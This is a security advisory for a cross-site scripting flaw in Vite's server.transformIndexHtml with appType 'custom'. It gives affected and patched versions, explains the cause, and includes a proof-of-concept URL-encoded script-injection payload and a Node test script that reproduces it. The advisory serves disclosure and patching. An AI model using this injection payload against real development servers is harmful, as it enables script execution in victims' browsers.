| Package | Affected versions | Patched versions |
|---|---|---|
| vite | = 5.0.0≥ 4.4.0, ≤ 4.4.11≥ 5.0.0, ≤ 5.0.4 | |
| vite | ≥ 4.4.0, < 4.4.12≥ 4.5.0, < 4.5.1≥ 5.0.0, < 5.0.5 | 4.4.124.5.15.0.5 |
When Vite's HTML transformation is invoked manually via server.transformIndexHtml, the original request URL is passed in unmodified, and the html being transformed contains inline module scripts (<script type="module">...</script>), it is possible to inject arbitrary HTML into the transformed output by supplying a malicious URL query string to server.transformIndexHtml.
Only apps using appType: 'custom' and using the default Vite HTML middleware are affected. The HTML entry must also contain an inline script. The attack requires a user to click on a malicious URL while running the dev server. Restricted files aren't exposed to the attacker.
Fixed in [email protected], [email protected], [email protected]
Suppose index.html contains an inline module script:
<script type="module">
// Inline script
</script>
This script is transformed into a proxy script like
<script type="module" src="/index.html?html-proxy&index=0.js"></script>
due to Vite's HTML plugin:
When appType: 'spa' | 'mpa', Vite serves HTML itself, and htmlFallbackMiddleware rewrites req.url to the canonical path of index.html,
so the url passed to server.transformIndexHtml is /index.html.
However, if appType: 'custom', HTML is served manually, and if server.transformIndexHtml is called with the unmodified request URL (as the SSR docs suggest), then the path of the transformed html-proxy script varies with the request URL. For example, a request with path / produces
<script type="module" src="/@id/__x00__/index.html?html-proxy&index=0.js"></script>
Running one of these products? Scan your site to see whether it exposes a vulnerable version.
Scan my site freeIt is possible to abuse this behavior by crafting a request URL to contain a malicious payload like
"></script><script>alert('boom')</script>
so a request to http://localhost:5173/?%22%3E%3C/script%3E%3Cscript%3Ealert(%27boom%27)%3C/script%3E produces HTML output like
<script type="module" src="/@id/__x00__/?"></script><script>alert("boom")</script>?html-proxy&index=0.js"></script>
which demonstrates XSS.
vite dev middleware with appType: 'custom'
?%22%3E%3C/script%3E%3Cscript%3Ealert(%27boom%27)%3C/script%3E and navigatevite dev (this shows that vanilla vite dev is not vulnerable, provided htmlFallbackMiddleware is used)
This will probably predominantly affect development-mode SSR, where vite.transformHtml is called using the original req.url, per the docs:
However, since this vulnerability affects server.transformIndexHtml, the scope of impact may be higher to also include other ad-hoc calls to server.transformIndexHtml from outside of Vite's own codebase.
My best guess at bisecting which versions are vulnerable involves the following test script
import fs from 'node:fs/promises';
import * as vite from 'vite';
const html = `
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8" />
</head>
<body>
<script type="module">
// Inline script
</script>
</body>
</html>
`;
const server = await vite.createServer({ appType: 'custom' });
const transformed = await server.transformIndexHtml('/?%22%3E%3C/script%3E%3Cscript%3Ealert(%27boom%27)%3C/script%3E', html);
console.log(transformed);
await server.close();
and using it I was able to narrow down to #13581. If this is correct, then vulnerable Vite versions are 4.4.0-beta.2 and higher (which includes 4.4.0).